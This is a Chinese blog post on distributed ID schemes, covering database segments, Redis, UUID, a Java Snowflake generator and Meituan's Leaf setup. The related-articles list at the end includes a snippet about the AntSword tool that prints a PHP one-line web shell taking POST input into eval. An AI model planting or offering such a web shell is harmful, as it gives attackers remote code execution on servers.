常见分布式ID解决方案总结:数据库、算法、开源组件

常见分布式ID解决方案总结

  • 分布式ID
  • 分布式ID方案之数据库
    • 数据库主键自增
    • 数据库号段模式
    • Redis自增
    • MongoDB
  • 分布式ID方案之算法
    • UUID
    • Snowflake(雪花算法)
  • 雪花算法的使用
    • IdWorker工具类
    • 配置分布式ID生成器
  • 分布式ID方案之开源组件
    • uid- generator(百度)
    • Tinyid(滴滴)
    • Leaf(美团)
    • 三者比较
  • Leaf组件的使用
    • 源码打包
    • 引入依赖
    • Leaf配置参数
    • 号段模式配置
    • Snowflake模式配置
    • 注解启动leaf
    • API的使用
    • 号段模式测试
    • 雪花算法测试

分布式ID

分布式 ID(Distributed ID)是指在分布式系统中生成全局唯一的标识符,用于标识不同实体或数据对象。在分布式系统中,由于数据存储、计算和处理都分散在不同的节点上,因此需要一个可靠的方式来跟踪和标识这些数据对象。

分布式ID最低要求:

全局唯一 :ID 的全局唯一性肯定是首先要满足的高性能 : 分布式 ID 的生成速度要快,对本地资源消耗要小高可用 :生成分布式 ID 的服务要保证可用性无限接近于 100%方便易用 :拿来即用,使用方便,快速接入

优秀的分布式 ID

安全 :ID 中不包含敏感信息有序递增 :如果ID存放在数据库,ID的有序性可以提升数据库写入速度。有利于ID来进行排序有具体的业务含义 :生成的 ID 如果能有具体的业务含义,可以让定位问题以及开发更透明化(通过 ID 就能确定是哪个业务)独立部署 :分布式系统单独有一个发号器服务,专门用来生成分布式 ID

分布式ID方案之数据库

数据库主键自增

数据库自增ID是在数据库中创建表时,通过设置一个自增的ID字段来实现的。每当插入一条记录时,数据库会自动为该记录生成一个唯一的ID。

数据库自增ID可以很好地保证ID的唯一性,但在高并发和大规模的分布式系统中,容易出现瓶颈和性能问题。同时,由于数据库自增ID只能在单个数据库中保证唯一性,因此需要通过分库分表等方式来支持多台机器上的生成。

简言之:

简单方便,有序递增,方便排序和分页并发性能不高,受限于数据库性能分库分表,需改造,较复杂自增数据量泄露

数据库号段模式

数据库主键自增这种模式,每次获取 ID 都要访问一次数据库,数据库压力大。因此,可以批量获取,然后存在内存里面,需要用到的时候,直接从内存里面拿来使用

主键自增

1,2,3......

号段模式:每请求一次分配一个号段

100,200,3001...100,101...200,201...300

号段模式相比主键自增而言: 性能提高且自增

Redis自增

Redis 可以通过自增命令来实现分布式 ID 的生成。常用的方法是使用 Redis 的自增命令 INCR,将一个特定的 key 自增,并将其作为 ID 返回。这种方法是线程安全的,可以在分布式系统中使用

即使有AOF和RDB,但是依然会存在数据丢失的可能,有可能会造成ID重复性能不错并且生成的 ID 是有序递增的,但是自增存在数据量泄露

MongoDB

MongoDB ObjectId是MongoDB数据库中的一个内置数据类型,用于唯一标识MongoDB文档(Document)。

它由12个字节组成,其中前4个字节表示时间戳,接下来3个字节表示机器ID,然后2个字节表示进程ID,最后3个字节表示随机值。

优缺点:

生成的 ID 是有序递增的当机器时间不对的情况下,可能导致会产生重复 IDID生成有规律性,存在安全性问题

分布式ID方案之算法

UUID

UUID是一种通用唯一识别码,它是由一组算法和标准组成的,可以保证在全球范围内唯一性。UUID不依赖于任何中心节点,可以在分布式系统中很好地保证ID的唯一性。缺点是它生成的ID比较长,不利于索引和查询

开放软件基金会(OSF)规范定义了包括网卡MAC地址、时间戳、名字空间(Namespace)、随机或伪随机数、时序等元素。利用这些元素来生成UUID。

优缺点:

通过本地生成,没有经过网络I/O,性能较快无序,无法预测他的生成顺序存储消耗空间大(32 个字符串,128 位)不能生成递增有序的数字当机器时间不对的情况下,可能导致会产生重复 ID

Snowflake(雪花算法)

雪花算法是 Twitter 提出的一种分布式ID生成算法。雪花算法可以在多台机器上生成不重复的ID,支持高并发和大规模的分布式系统,但需要保证数据中心ID和机器ID的唯一性。

它的原理是将一个64位的long类型的ID分为4个部分:时间戳、数据中心ID、机器ID和序列号。

时间戳占用了42位,可以使用69年,数据中心ID和机器ID分别占用了5位,可以支持32个数据中心和32个机器,序列号占用了12位,可以支持每个节点每毫秒生成4096个ID。

细一点说:生成的64位ID可以分成5个部分:

1位符号位标识 - 41位时间戳 - 5位数据中心标识 - 5位机器标识 - 12位序列号

在这里插入图片描述

时间范围

2^41/(365*24*60*60*1000)=69年

工作进程数量

5+5 :区域+服务器标识2^10=1024

序列号数量

2^12=4096
分段作用说明
1bit保留不用long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1
41bit时间戳,精确到毫秒存储的是时间截的差值(当前时间截 - 开始时间截),结果约等于69.73年
5bit数据中心最多支持2的5次方(32)个节点
5bit机器id最多支持2的5次方(32)个节点
12bit毫秒内的计数器每个节点每毫秒最多产生2的12次方(4096)个id

默认情况下41bit的时间戳可以支持该算法使用到2082年,10bit的工作机器id可以支持1024台机器,序列号支持1毫秒产生4096个自增序列id 。SnowFlake的优点是,整体上按照时间自增排序,并且整个分布式系统内不会产生ID碰撞(由数据中心ID和机器ID作区分),并且效率较高,经测试,SnowFlake每秒能够产生26万ID左右

优缺点:

生成速度比较快、生成的 ID 有序递增、比较灵活依赖时间,当机器时间不对的情况下,可能导致会产生重复 ID

雪花算法的使用

IdWorker工具类

/*** Twitter的Snowflake JAVA实现方案* 分布式自增长ID*/
public class IdWorker {// 时间起始标记点,作为基准,一般取系统的最近时间(一旦确定不能变动)private final static long twepoch = 1288834974657L;// 机器标识位数private final static long workerIdBits = 5L;// 数据中心标识位数private final static long datacenterIdBits = 5L;// 机器ID最大值private final static long maxWorkerId = -1L ^ (-1L << workerIdBits);// 数据中心ID最大值private final static long maxDatacenterId = -1L ^ (-1L << datacenterIdBits);// 毫秒内自增位private final static long sequenceBits = 12L;// 机器ID偏左移12位private final static long workerIdShift = sequenceBits;// 数据中心ID左移17位private final static long datacenterIdShift = sequenceBits + workerIdBits;// 时间毫秒左移22位private final static long timestampLeftShift = sequenceBits + workerIdBits + datacenterIdBits;private final static long sequenceMask = -1L ^ (-1L << sequenceBits);/* 上次生产id时间戳 */private static long lastTimestamp = -1L;// 0,并发控制private long sequence = 0L;private final long workerId;// 数据标识id部分private final long datacenterId;public IdWorker() {this.datacenterId = getDatacenterId(maxDatacenterId);this.workerId = getMaxWorkerId(datacenterId, maxWorkerId);}/*** @param workerId     工作机器ID* @param datacenterId 序列号*/public IdWorker(long workerId, long datacenterId) {if (workerId > maxWorkerId || workerId < 0) {throw new IllegalArgumentException(String.format("worker Id can't be greater than %d or less than 0", maxWorkerId));}if (datacenterId > maxDatacenterId || datacenterId < 0) {throw new IllegalArgumentException(String.format("datacenter Id can't be greater than %d or less than 0", maxDatacenterId));}this.workerId = workerId;this.datacenterId = datacenterId;}/*** 获取下一个ID** @return*/public synchronized long nextId() {long timestamp = timeGen();if (timestamp < lastTimestamp) {throw new RuntimeException(String.format("Clock moved backwards.  Refusing to generate id for %d milliseconds", lastTimestamp - timestamp));}if (lastTimestamp == timestamp) {// 当前毫秒内,则+1sequence = (sequence + 1) & sequenceMask;if (sequence == 0) {// 当前毫秒内计数满了,则等待下一秒timestamp = tilNextMillis(lastTimestamp);}} else {sequence = 0L;}lastTimestamp = timestamp;// ID偏移组合生成最终的ID,并返回IDlong nextId = ((timestamp - twepoch) << timestampLeftShift)| (datacenterId << datacenterIdShift)| (workerId << workerIdShift) | sequence;return nextId;}private long tilNextMillis(final long lastTimestamp) {long timestamp = this.timeGen();while (timestamp <= lastTimestamp) {timestamp = this.timeGen();}return timestamp;}private long timeGen() {return System.currentTimeMillis();}/*** <p>* 获取 maxWorkerId* </p>*/protected static long getMaxWorkerId(long datacenterId, long maxWorkerId) {StringBuffer mpid = new StringBuffer();mpid.append(datacenterId);String name = ManagementFactory.getRuntimeMXBean().getName();if (!name.isEmpty()) {/** GET jvmPid*/mpid.append(name.split("@")[0]);}/** MAC + PID 的 hashcode 获取16个低位*/return (mpid.toString().hashCode() & 0xffff) % (maxWorkerId + 1);}/*** <p>* 数据标识id部分* </p>*/protected static long getDatacenterId(long maxDatacenterId) {long id = 0L;try {InetAddress ip = InetAddress.getLocalHost();NetworkInterface network = NetworkInterface.getByInetAddress(ip);if (network == null) {id = 1L;} else {byte[] mac = network.getHardwareAddress();id = ((0x000000FF & (long) mac[mac.length - 1])| (0x0000FF00 & (((long) mac[mac.length - 2]) << 8))) >> 6;id = id % (maxDatacenterId + 1);}} catch (Exception e) {System.out.println(" getDatacenterId: " + e.getMessage());}return id;}public static void main(String[] args) {IdWorker idWorker = new IdWorker(0, 0);for (int i = 0; i < 10000; i++) {long nextId = idWorker.nextId();System.out.println(nextId);}}}

配置分布式ID生成器

application.ym添加配置

workerId: 0
datacenterId: 0

IdWorker添加到容器

	@Value("${workerId}")private Integer workerId;@Value("${datacenterId}")private Integer datacenterId;@Beanpublic IdWorker idWorker(){return new IdWorker(workerId,datacenterId);}

分布式ID方案之开源组件

uid- generator(百度)

UidGenerator是百度开源的一款基于 Snowflake的唯一 ID 生成器,是对 Snowflake进行了改进

GitHub:https://github.com/baidu/uid-generator
在这里插入图片描述

Tinyid(滴滴)

Tinyid是滴滴开源的一款基于数据库号段模式的唯一 ID 生成器。

GitHub: https://github.com/didi/tinyid
在这里插入图片描述

Leaf(美团)

Leaf是美团开源的一个分布式 ID 解决方案。提供了号段模式 和 Snowflake这两种模式来生成分布式 ID。

目前Leaf覆盖了美团点评公司内部金融、餐饮、外卖、酒店旅游、猫眼电影等众多业务线。在4C8G VM基础上,通过公司RPC方式调用,QPS压测结果近5w/s,TP999 1ms。

Leaf 设计文档: https://tech.meituan.com/2017/04/21/mt-leaf.html

GitHub:https://github.com/meituan-diaNPing/leaf

三者比较

百度:只支持雪花算法滴滴:只支持数据库号段,多DB,高可用,java- client,适合对id有高可用需求美团:号段模式和 snowflake模,适合多种场景分布式id

Leaf组件的使用

源码打包

git clone git@github.com:Meituan-Dianping/Leaf.git
cd Leaf
git checkout feature/spring-boot-starter
mvn clean install -Dmaven.test.skip=true 

引入依赖

目前Leaf最新使用2.0.1.RELEASE的starter版本
    <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.0.1.RELEASE</version></parent><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!--引入源码编译打包安装到本地的Leaf--><dependency><artifactId>leaf-boot-starter</artifactId><groupId>com.sankuai.inf.leaf</groupId><version>1.0.1-RELEASE</version></dependency><!--zk--><dependency><groupId>org.apache.curator</groupId><artifactId>curator-recipes</artifactId><version>2.6.0</version><exclusions><exclusion><artifactId>log4j</artifactId><groupId>log4j</groupId></exclusion></exclusions></dependency></dependencies>

Leaf配置参数

Leaf 提供两种生成的ID的方式(号段模式和snowflake模式),可以同时开启两种方式,也可以指定开启某种方式(默认两种方式为关闭状态)。

配置项含义默认值
leaf.nameleaf服务名
leaf.segment.enable是否开启号段模式false
leaf.jdbc.urlmysql 库地址
leaf.jdbc.usernamemysql 用户名
leaf.jdbc.passwordmysql 密码
leaf.snowflake.enable是否开启snowflake模式false
leaf.snowflake.zk.addresssnowflake模式下的zk地址
leaf.snowflake.portsnowflake模式下的服务注册端口

号段模式配置

如果使用号段模式,需要建立DB表,并配置leaf.jdbc.url, leaf.jdbc.username, leaf.jdbc.password如果不想使用该模式配置leaf.segment.enable=false即可。
CREATE DATABASE leafCREATE TABLE `leaf_alloc` (`biz_tag` varchar(128)  NOT NULL DEFAULT '',`max_id` bigint(20) NOT NULL DEFAULT '1',`step` int(11) NOT NULL,`description` varchar(256)  DEFAULT NULL,`update_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,PRIMARY KEY (`biz_tag`)
) ENGINE=InnoDB;insert into leaf_alloc(biz_tag, max_id, step, description) values('leaf-segment-test', 1, 2000, 'Test leaf Segment Mode Get Id')

在classpath下配置leaf.properties

leaf.name=com.sankuai.leaf.opensource.test
leaf.segment.enable=true
leaf.segment.url=jdbc:mysql://127.0.0.1:3306/leaf
leaf.segment.username=root
leaf.segment.password=123456

Snowflake模式配置

算法取自twitter开源的snowflake算法。如果不想使用该模式配置leaf.snowflake.enable=false即可。

在classpath下配置leaf.properties

在leaf.properties中配置leaf.snowflake.zk.address,配置leaf 服务监听的端口leaf.snowflake.port。
leaf.snowflake.enable=true
leaf.snowflake.address=127.0.0.1
leaf.snowflake.port=2181

注解启动leaf

使用@EnableLeafServer注解启动leaf
@SpringBootApplication
@EnableLeafServer
public class DistributedIdApplication {public static void main(String[] args) {SpringApplication.run(DistributedIdApplication.class, args);}
}

API的使用

@RestController
public class IdContoller {@Autowiredprivate SegmentService segmentService;@Autowiredprivate SnowflakeService snowflakeService;@GetMapping("/segment")public Result segment() {
//        segmentService.getId("leaf-segment-test").getId();return segmentService.getId("leaf-segment-test");}@GetMapping("/snowflake")public Result snowflake() {// 参数key无实际意义,受迫于统一接口的实现return snowflakeService.getId("snowflake");}
}

参数key无实际意义,受迫于统一接口的实现

public interface IDGen {Result get(String var1);boolean init();
}public Result getId(String key) {return this.idGen.get(key);} 

号段模式中该参数key有着重要意义
在这里插入图片描述

号段模式测试

数据库表初始时

在这里插入图片描述
访问地址:http://localhost:8080/segment

在这里插入图片描述
请求获取id值后,号段模式提前加载

在这里插入图片描述
重启服务后再次访问,使用新的号段

在这里插入图片描述
号段模式再一次提前加载

在这里插入图片描述

雪花算法测试

访问地址:http://localhost:8080/snowflake
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/82884.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Java的体育网站的设计与实现(论文+源码)_kaic

基于Java的体育网站的设计与实现 摘 要&#xff1a;在网络应用的迅速发展与科技的不断进步的现代环境下&#xff0c;人们生活节奏越来越快&#xff0c;娱乐方式也多种多样&#xff0c;各种软件应用&#xff0c;各种娱乐&#xff0c;购物网站已经成为必不可少的伴随品&#xff…

《24海南大学835软件工程考研经验贴》

1.经验之谈 首先&#xff0c;我是一个二战的考生&#xff0c;一战给我带来的经验有几点。第一&#xff0c;数学、专业课这两门越早复习越好&#xff0c;越拖到后面你就会发现来不及了&#xff0c;这学不完&#xff0c;那学不完的。第二、我认为是比较关键的一点&#xff0c;一定…

Idea创建maven管理的web项目

如果你想在项目中添加一个传统的 src 目录来存放源代码&#xff0c;可以按照以下步骤操作&#xff1a; 1. 在项目视图中&#xff0c;右键单击项目名称&#xff0c;选择 “New” -> “Directory”。 2. 在弹出的对话框中&#xff0c;输入目录名称为 “src”&#xff0c;然后…

使用ffmpeg将m4a及wav等文件转换为MP3格式

要使用ffmpeg将m4a及wav等文件转换为MP3格式&#xff0c;您可以按照以下步骤进行操作&#xff1a; 安装 ffmpeg 确保您已经安装了ffmpeg软件。如果没有安装&#xff0c;请访问ffmpeg的官方网站https://ffmpeg.org/ 并按照说明进行安装。 Win10 / Win11 可以通过 winget 命令…

Vue自定义指令使用

本篇文章讲述使用Vue自定义指令&#xff0c;并在项目中完成相应功能。 在平常Vue脚手架项目中&#xff0c;使用到 自定义指令较少&#xff0c;一般都是使用的自带指令&#xff0c;比如 v-show 、v-if 、 v-for 、 v-bind 之类的。这些已经能够满足大多数项目使用。更多的可能也…

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

SpringMVC的架构有什么优势?——视图与模型(二)

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★ React从入门到精通★ ★前端炫酷代码分享 ★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff…

c语言每日一练(2)

前言&#xff1a; 每日一练系列&#xff0c;每一期都包含5道选择题&#xff0c;2道编程题&#xff0c;博主会尽可能详细地进行讲解&#xff0c;令初学者也能听的清晰。每日一练系列会持续更新&#xff0c;暑假时三天之内必有一更&#xff0c;到了开学之后&#xff0c;将看学业情…

leetcode 63. 不同路径 II

2023.8.9 这题是不同路径I的升级版&#xff0c;在路径上增加了障碍物&#xff0c;有障碍物的地方无法通过。 我的思路依然还是使用动态规划&#xff0c;dp[i][j]的含义依然是到&#xff08;i&#xff0c;j&#xff09;这个位置的路径个数。只需要在dp数组中将有障碍物的地方赋为…

js案例:1.简单计算器

目录 一.效果图 二.实现思路 整体思路 ​ 1.关键是dom操作 ​ 2.设置点击事件 3.数据类型的隐式转换和赋值 三.完整代码 一.效果图 二.实现思路 整体思路 1.关键是dom操作 通过 document.getElementById(id) 获取html中的dom元素 每一个html标签都是一个对象&…

CANoe通过Frame Histogram窗口统计报文周期(方便快捷)

文章目录 效果展示1.插入Frame Histogram窗口2.Activate3.运行CANoe&#xff0c;停止后查看write窗口 效果展示 统计报文周期信息输出在write窗口。 1.插入Frame Histogram窗口 2.Activate 3.运行CANoe&#xff0c;停止后查看write窗口 统计报文周期信息输出在write窗口。

Pytorch深度学习-----神经网络模型的保存与加载(VGG16模型)

系列文章目录 PyTorch深度学习——Anaconda和PyTorch安装 Pytorch深度学习-----数据模块Dataset类 Pytorch深度学习------TensorBoard的使用 Pytorch深度学习------Torchvision中Transforms的使用&#xff08;ToTensor&#xff0c;Normalize&#xff0c;Resize &#xff0c;Co…

数据结构刷题训练——链表篇(一)

目录 前言 题目一&#xff1a;链表的中间节点 思路 分析 题解 题目二&#xff1a;链表中倒数第k个结点 思路 分析 题解 题目三&#xff1a;合并两个有序链表 思路 分析 题解 方法二 题解 题目四&#xff1a;链表的回文结构 思路 分析 题解 总结 前言 今天我将开…

2023华数杯C题总结

前言 对这次比赛中遇到的问题和卡住的思路进行复盘&#xff0c;整理相关心得&#xff0c;供以后比赛参考 &#x1f9e1;1.认识数据类型&#x1f9e1; 连续变量&#xff1a;母亲年龄、妊娠时间、CBTS、EPDS、HADS、整晚睡醒时间、婴儿年龄 无序分类变量&#xff1a;婚姻状态、…

Gpt微信小程序搭建的前后端流程 - 前端小程序部分-2.确定交互所需的后端API(二)

Gpt微信小程序搭建的前后端流程 - 前端小程序部分-2.确定交互所需的后端API(二) 参考微信小程序-小柠AI智能聊天&#xff0c;可自行先体验。 根据上一节的小程序静态页面设计&#xff0c;需要从后端获取数据的主要4个点&#xff1a; 登录流程&#xff1b;获取今日已提问次数&a…

Unity制作护盾——2、力场冲击波护盾

Unity制作力场护盾 大家好&#xff0c;我是阿赵。   继续做护盾&#xff0c;这一期做一个力场冲击波护盾。 一、效果展示 主要的效果并不是这个球&#xff0c;而是护盾在被攻击的时候&#xff0c;会出现一个扩散的冲击波。比如上图在右边出现了冲击波 如果在左边被攻击&am…

MongoDB 6.0.8 安装配置

一、前言 MongoDB是一个基于分布式文件存储的数据库。由C语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。在高负载的情况下&#xff0c;添加更多的节点&#xff0c;可以保证服务器性能。 MongoDB 将数据存储为一个文档&#xff0c;数据结构由键值(key>value…

[分享]STM32G070 串口 乱码 解决方法

硬件 NUCLEO-G070RB 工具 cubemx 解决方法 7bit 改为 8bit printf 配置方法 添加头文件 #include <stdio.h> 添加重定向代码 #ifdef __GNUC__#define PUTCHAR_PROTOTYPE int __io_putchar(int ch)#else#define PUTCHAR_PROTOTYPE int fputc(int ch, FILE *f)#endi…

卷积神经网络实现MNIST手写数字识别 - P1

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f366; 参考文章&#xff1a;365天深度学习训练营-第P1周&#xff1a;实现mnist手写数字识别&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制&#x1f680; 文章来源&#xff1a;K同…

SPM(Swift Package Manager)开发及常见事项

SPM怎么使用的不再赘述&#xff0c;其优点是Cocoapods这样的远古产物难以望其项背的&#xff0c;而且最重要的是可二进制化、对xcproj项目无侵入&#xff0c;除了网络之外简直就是为团队开发的项目库依赖最好的管理工具&#xff0c;是时候抛弃繁杂低下的cocoapods了。 一&…